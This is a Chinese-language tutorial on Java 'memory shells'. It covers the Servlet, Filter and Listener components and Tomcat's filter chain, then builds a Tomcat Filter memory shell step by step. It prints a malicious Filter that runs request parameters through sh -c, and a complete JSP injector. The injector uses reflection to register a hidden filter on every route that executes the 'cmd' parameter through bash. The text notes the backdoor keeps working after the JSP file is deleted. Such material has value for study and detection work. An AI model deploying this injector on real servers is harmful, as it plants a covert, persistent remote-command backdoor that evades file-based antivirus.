深入浅出内存马（一）

0x01 简述

0x0101 Webshell技术历程

在Web安全领域，Webshell一直是一个非常重要且热门的话题。在目前传统安全领域，Webshell根据功能的不同分为三种类型，分别是：一句话木马，小马，大马。而根据现在防火墙技术的更新迭代，随后出现了加密的木马技术，比如：加密一句话。而我们今天要说的是一种新的无文件的Webshell类型：内存马。

0x0102 为什么会使用内存马？

传统Webshell连接方式，都是先通过某种漏洞将恶意的脚本木马文件上传，然后通过中国菜刀，或者蚁剑，冰蝎等Webshell管理软件进行链接。

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这种方式目前仍然流行，但是由于近几年防火墙，IDS，IPS，流量分析等各种安全设备的普及和更新，这种连接方式非常容易被设备捕获拦截，而且由于文件是明文存放在服务器端，所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时，于是乎，进化了一系列的加密一句话木马，但是这种方式还是不能绕过有类似文件监控的杀毒软件，于是乎进化了新一代的Webshell---》内存马

0x03 什么是内存马

内存马是无文件Webshell，什么是无文件webshell呢？简单来说，就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了？这种方式为什么能链接呢？内存马的原理就像是MVC架构，即通过路由访问控制器，我通过自身的理解，概述的说一下， 内存马的原理就是在web组件或者应用程序中，注册一层访问路由，访问者通过这层路由，来执行我们控制器中的代码

0x03 内存马的类型

目前分为两种：

1. Servlet-API型
   通过命令执行等方式动态注册一个新的listener、filter或者servlet，从而实现命令执行等功能。特定框架、容器的内存马原理与此类似，如spring的controller内存马，tomcat的valve内存马

   • filter型
   • servlet型

2. 字节码增强型

   通过java的instrumentation动态修改已有代码，进而实现命令执行等功能。

3. spring类

   • 拦截器
   • Controller型

0x02 内存马的原理

我们以Java Web举例，在Java Web中有三大组件分别是Servlet, Filter，Listener

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。

Servlet程序是由WEB服务器调用，web服务器收到客户端的Servlet访问请求后：

1. Web服务器首先检查是否已经装载并创建了该Servlet的实例对象。如果是，则直接执行第4步，否则，执行第2步。
2. 装载并创建该Servlet的一个实例对象。
3. 调用Servlet实例对象的init()方法。
4. 创建一个用于封装HTTP请求消息的HttpServletRequest对象和一个代表HTTP响应消息的HttpServletResponse对象，然后调用Servlet的service()方法并将请求和响应对象作为参数传递进去。
5. WEB应用程序被停止或重新启动之前，Servlet引擎将卸载Servlet，并在卸载之前调用Servlet的destroy()方法。

Filter

Filter译为过滤器。过滤器实际上就是对web资源进行拦截，做一些处理后再交给下一个过滤器或servlet处理，通常都是用来拦截request进行处理的，也可以对返回的response进行拦截处理。

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web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter，当第一个Filter的doFilter方法被调用时，web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中，开发人员如果调用了FilterChain对象的doFilter方法，则web服务器会检查FilterChain对象中是否还有filter，如果有，则调用第2个filter，如果没有，则调用目标资源。

生命周期

public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我们编写的Servlet程序一样，Filter的创建和销毁由WEB服务器负责。 web 应用程序启动时，web 服务器将创建Filter 的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求作好拦截的准备工作（filter对象只会创建一次，init方法也只会执行一次）。开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候，Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。

public void destroy();//销毁
Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。

Listener

监听器用于监听Web应用中某些对象的创建、销毁、增加，修改，删除等动作的发生，然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候，服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

主要由三部分构成：

• 事件源：被监听的对象
• 监听器：监听的对象，事件源的变化会触发监听器的响应行为
• 响应行为：监听器监听到事件源的状态变化时所执行的动作

在初始化时，需要将事件源和监听器进行绑定，也就是注册监听器。

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器，可以自动出发一些动作，比如监听在线的用户数量，统计网站访问量、网站访问监控等。

Tomcat

在 Tomcat 中，每个 Host 下可以有多个 Context （Context 是 Host 的子容器）， 每个 Context 都代表一个具体的Web应用，都有一个唯一的路径就相当于下图中的 /shop /manager 这种，在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ，包括的 Servlet 的装载、初始化、执行以及资源回收

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0x03 Tomcat Filter注入流程

通过上面的介绍，我们已经大致了解内存马的背景知识，现在我们来讲解Tomcat Filter类型的内存马，看看这种流程是什么样子的？

0x0301Tomcat Filter简单案例

新建filter

package com.evalshell.Filter;

import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 创建");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤过程");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("销毁！");
    }
}

Web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

    <filter>
        <filter-name>MyFilter</filter-name>
        <filter-class>com.evalshell.Filter.MyFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>MyFilter</filter-name>
        <url-pattern>/hello</url-pattern>
    </filter-mapping>

</web-app>

就是我们创建一个servlet和一个filter 访问路由都是为/hello 。看下结果：

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控制台输出

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我们简单调试一下

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对应Web.xml中的配置信息，这种方式就是为静态的添加filter的方式，filter实现分为静态和动态，静态就是上述中，普通配置在web.xml或者通过@注释配置在类中的。

关于整个Filter的调用链 可以参考：https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 这个不是我们主要讲述的重点。

Filter调用链，可以引用宽字节安全总结的一张图来说明：

image

0x04 Filter型内存马注入

0x0401 动态创建Filter

我们调试一下filterChain.doFilter() 方法，启动服务，然后访问/hello即可调试：

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继续跟进，可以看到doFilter() 的具体处理过程是在internalDoFilter()

image

image

然后最后调用service()方法去调用这个filter里面的内容

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image

概述地说， FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法；最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

0x0402 一个简单Filter内存马案例

上面的描述总结下来就是如何在tomcat中动态的注入一条配置项和代码，拿filter类型举例子，那么我们如何创建一个Filter类型的内存马呢？

1. 首先创建一个恶意Filter
2. 利用 FilterDef 对 Filter 进行一个封装
3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 创建 FilterMap ，将我们的 Filter 和 urlpattern 相对应，存放到 filterMaps中（由于 Filter 生效会有一个先后顺序，所以我们一般都是放在最前面，让我们的 Filter 最先触发）

    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 这样我们就获取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

每次请求createFilterChain都会依据此动态生成一个过滤链，而StandardContext又会一直保留到Tomcat生命周期结束，所以我们的内存马就可以一直驻留下去，直到Tomcat重启。

好的 那我们首先来编写一个filter的恶意类

package com.evalshell.Filter;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 创建");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤过程");
        //测试只考虑linux环境下
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        if (request.getParameter("c") != null){
            String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
            InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
            String output = scanner.hasNext() ? scanner.next() : "";
            servletResponse.getWriter().write(output);
            servletResponse.getWriter().flush();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("销毁！");
    }
}

运行效果：

image

可以看到这个就是在tomcat中没有任何shell文件，但是在过滤器中执行了我们的代码。

0x0402 最终实战

那么真实情况下，我们不可能直接修改项目中Filter的源码，因为就算修改了，想要生效也需要重启。所以我们需要动态的插入filter，那我们该如何操作呢？

最终代码如下：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "fengxuan";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //这里写上我们后门的主要代码
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                //别忘记带这个，不然的话其他的过滤器可能无法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        
        // 将filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
      //拦截的路由规则，/* 表示拦截任意路由
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

访问这个页面

image

最后直接访问任意Servlet路由都可以执行命令

image

即使删除我们的注入文件filterdemo1.jsp也是一样可以执行，这样就可以达到无文件的Webshell管理方式了。

0x05 参考链接

http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html

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